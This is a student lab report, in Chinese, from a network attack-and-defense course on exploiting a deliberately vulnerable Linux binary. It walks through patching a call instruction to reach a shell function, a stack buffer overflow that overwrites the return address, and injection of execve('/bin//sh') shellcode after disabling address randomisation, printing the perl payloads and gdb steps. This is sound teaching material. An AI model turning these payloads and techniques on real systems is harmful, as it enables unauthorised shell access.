Exp1 PC平台逆向破解(5)M

【 直接修改程序机器指令,改变程序执行流程】

  • 用命令cp pwn1 20155320备份pwn1
  • 输入objdump -d 20155320反汇编,找到call指令,现在就是要把call指令里原来foo的地址换成getshell的地址。
    • getshell的地址是:0804847d
    • foo的地址是:08048491

通过计算,getshell和foo的地址相对偏移量为14,所以d7-14=c3,从c3即为所被改为的地址

  • 依次输入以下命令,修改call指令里的内容,因为call为调用所以修改call里面的内容即能修改调用的函数,e8也代表调用。

    • vi 20155320

    1.按ESC键

    2.输入如下,将显示模式切换为16进制模式:%!xxd

    • 3.查找要修改的内容/e8 d7



- 找到后用以下命令完成将e8d7改为e8c3修改即可

```

修改d7为c3

PS:这个必须要做 转换16进制为原格式:%!xxd -r

存盘退出vi:wq

```

【通过构造输入参数,造成BOF攻击,改变程序执行流】

  • 通过反汇编objdump -d pwn1 | more,确定foo和getshell两段函数的地址。

  • 输入1111111122222222333333334444444455555555通过gdb调试,找到eip中的内容是5的ASCII码,eip存储的是下条指令的地址,所以发现是输入的5字段覆盖了eip的地址。

然后进一步输入1111111122222222333333334444444412345678,找到是1234这几个数字会覆盖返回地址。

  • 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input把这1234四个字符替换为 getShell 的内存地址

【注入Shellcode并执行】

  • 做好实验前的准备,依次输入以下命令
execstack -s pwn1    //设置堆栈可执行

execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1 more /proc/sys/kernel/randomize_va_space
2 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
0

注:后续将pwn3重命名为p5320了

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode

    • nop+shellcode+retaddr。

通过尝试发现本实验采用的实际是anything+retaddr+nops+shellcode。

  • 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 接着输入(cat input_shellcode;cat) | ./pwn1注入攻击

  • 再开另外一个终端,用gdb来调试pwn1这个进程,来计算shellcode的地址。

    • 输入ps -ef | grep p5320得到进程号为1807

    • 用gdb调试,需要设断点在地址0x080484ae

    • 调试,找到esp的地址为0xffffd27c,计算得到需要注入的地址为0xffffd27c+0x00000004=0xffffd280

  • 输入命令 perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode修改地址,输入(cat input_shellcode;cat) | ./p5320完成注入攻击,结果如下。

【实验中遇到的问题及解决】

  • 在查找进程号时,我先在开的第一个终端上回车,出现了老师给的图示结果后再开的第二个终端输入查找进程的命令,结果出现如下问题,找不到进程号。

  • 【解决】后来我发现不能等到出现结果后再开,而应该先开第二个终端。

【总结】

缓冲区溢出实验我曾经在娄老师的课上做过一次,但是是按步骤一步一步做的,并没有实际理解,而且还把虚拟机弄崩了...。这次更加理解了实验的原理,主要是通过修改返回地址调用地址之类的原理,将这些地址改为指向想要执行的代码,虽然更深层次的还不太会,基本简单的攻击思路还是理清了。

Exp1 PC平台逆向破解(5)M的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  10. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

随机推荐

  1. Java 装饰器模式详解

    转载请注明出处:http://blog.csdn.net/zhaoyanjun6/article/details/56488020 前言 在上面的几篇文章中,着重介绍了Java 中常见的 IO 相关知 ...

  2. 转:SQL 关于apply的两种形式cross apply 和 outer apply

    原文地址:http://www.cnblogs.com/Leo_wl/archive/2013/04/02/2997012.html SQL 关于apply的两种形式cross apply 和 out ...

  3. 检索 COM 类工厂中 CLSID 为 {00021A20-0000-0000-C000-000000000046} 的组件时失败,原因是出现以下错误: 80080005

    创建Excel对象失败: Excel.Application xApp = new Excel.Application(); 错误提示:{"检索 COM 类工厂中 CLSID 为 {0002 ...

  4. js fetch处理异步请求

    以往一直认为异步请求只能使用原生js的XMLHttpRequest或jQuery的$.ajax().$.post()等框架封装的异步请求方法 原来js还提供fetch来替代XMLHttpRequest ...

  5. jqery-easyui的Datagrid的介绍-Pagination事件

    Datagrid(数据表) 依赖的组件 resizable linkbutton pagination DataGrid Options对象的属性 名称(Name) 类型(Type) 描述(Descr ...

  6. 使用TuShare下载历史逐笔成交数据并生成1分钟线

    使用如下代码从TuShare下载沪深300每只股票的历史成交记录并按股票.日期保存到本地.主要是为了以后查询方便快速. #-*- coding: utf-8 -*- import numpy as n ...

  7. ansible(一)

    Ansible简介 Ansible:Ansible的核心程序Host Lnventory:记录了每一个由Ansible管理的主机信息,信息包括ssh端口,root帐号密码,ip地址等等.可以通过fil ...

  8. vue2.0模拟锚点

    在vue项目中,因为采用路由跳转,会导致无法使用常规的a标签配合ID的锚点功能. 解决办法: <a href="javascript:void(0)" @click=&quo ...

  9. Redis系列一:reids的单机版安装

    环境:VM+centos6+xshell 1.准备好linux的虚拟机,这里用的是centos6,具体方法百度 2.进入software目录,创建一个redis的目录来存放下载的redis包 cd s ...

  10. 矩阵dp

    矩阵dp 这里是矩阵dp,不是矩阵乘法优化dp. 矩阵上的dp好像也没什么特殊的?大概有一个套路就是从上向下,从左向右进行dp吧. 首先第一道题好像不是矩阵dp... 1005 矩阵取数游戏:http ...